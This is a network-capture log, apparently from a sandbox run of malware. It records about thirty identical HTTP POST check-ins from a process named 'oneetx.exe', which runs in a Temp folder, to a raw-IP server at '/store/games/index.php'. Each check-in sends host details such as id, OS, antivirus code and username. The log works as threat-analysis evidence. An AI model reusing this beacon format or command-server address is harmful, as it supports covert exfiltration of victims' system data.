Nov 23, 2024 20:53:55.310513020 CET	242	OUT	POST /store/games/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.3.19.154 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49815	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:53:59.532934904 CET	242	OUT	POST /store/games/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.3.19.154 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49826	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:54:03.786379099 CET	242	OUT	POST /store/games/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.3.19.154 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49837	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:54:08.046710014 CET	242	OUT	POST /store/games/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.3.19.154 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49848	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:54:12.280874014 CET	242	OUT	POST /store/games/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.3.19.154 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49859	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:54:16.532166004 CET	242	OUT	POST /store/games/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.3.19.154 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49867	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:54:20.790802956 CET	242	OUT	POST /store/games/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.3.19.154 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49878	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:54:25.131287098 CET	242	OUT	POST /store/games/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.3.19.154 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49887	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:54:29.402793884 CET	242	OUT	POST /store/games/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.3.19.154 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49898	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:54:33.813493967 CET	242	OUT	POST /store/games/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.3.19.154 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49909	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:54:38.049715996 CET	242	OUT	POST /store/games/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.3.19.154 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49920	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:54:42.298825026 CET	242	OUT	POST /store/games/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.3.19.154 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49930	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:54:46.556485891 CET	242	OUT	POST /store/games/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.3.19.154 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49940	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:54:50.800801039 CET	242	OUT	POST /store/games/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.3.19.154 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49950	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:54:55.048923969 CET	242	OUT	POST /store/games/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.3.19.154 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49958	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:54:57.781066895 CET	242	OUT	POST /store/games/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.3.19.154 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49967	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:55:02.021011114 CET	242	OUT	POST /store/games/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.3.19.154 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49976	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:55:06.276736021 CET	242	OUT	POST /store/games/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.3.19.154 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	49987	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:55:10.514265060 CET	242	OUT	POST /store/games/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.3.19.154 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49998	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:55:14.752942085 CET	242	OUT	POST /store/games/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.3.19.154 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	50009	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:55:19.005067110 CET	242	OUT	POST /store/games/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.3.19.154 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	50016	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:55:23.267354965 CET	242	OUT	POST /store/games/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.3.19.154 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	50017	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:55:27.524590969 CET	242	OUT	POST /store/games/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.3.19.154 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	50018	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:55:31.769241095 CET	242	OUT	POST /store/games/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.3.19.154 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	50019	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:55:36.015755892 CET	242	OUT	POST /store/games/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.3.19.154 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	50020	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:55:40.237325907 CET	242	OUT	POST /store/games/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.3.19.154 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	50021	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:55:44.468620062 CET	242	OUT	POST /store/games/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.3.19.154 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	50022	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:55:48.775316954 CET	242	OUT	POST /store/games/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.3.19.154 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	50023	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:55:53.018945932 CET	242	OUT	POST /store/games/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.3.19.154 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	50024	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:55:57.425158978 CET	242	OUT	POST /store/games/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.3.19.154 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	50025	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
